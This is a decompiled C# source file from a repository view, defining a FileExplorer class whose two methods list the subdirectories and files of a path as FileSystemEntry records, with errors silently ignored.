Files
2026-08-27 11:22:54 -06:00

57 lines
1.3 KiB
C#

using System.Collections.Generic;
using System.IO;
using Crysome.Common.Model;
namespace Crysome.Client.SystemInfo;
public static class FileExplorer
{
public static FileSystemEntry[] GetDirectories(string path)
{
//IL_003f: Unknown result type (might be due to invalid IL or missing references)
//IL_0049: Expected O, but got Unknown
List<FileSystemEntry> list = new List<FileSystemEntry>();
try
{
foreach (DirectoryInfo item in new DirectoryInfo(path).EnumerateDirectories())
{
try
{
list.Add(new FileSystemEntry(item.Name, item.FullName, 0L, (FileType)0, item.LastWriteTimeUtc.Ticks, (byte[])null));
}
catch
{
}
}
}
catch
{
}
return list.ToArray();
}
public static FileSystemEntry[] GetFiles(string path)
{
//IL_0043: Unknown result type (might be due to invalid IL or missing references)
//IL_004d: Expected O, but got Unknown
List<FileSystemEntry> list = new List<FileSystemEntry>();
try
{
foreach (FileInfo item in new DirectoryInfo(path).EnumerateFiles())
{
try
{
list.Add(new FileSystemEntry(item.Name, item.FullName, item.Length, (FileType)1, item.LastWriteTimeUtc.Ticks, (byte[])null));
}
catch
{
}
}
}
catch
{
}
return list.ToArray();
}
}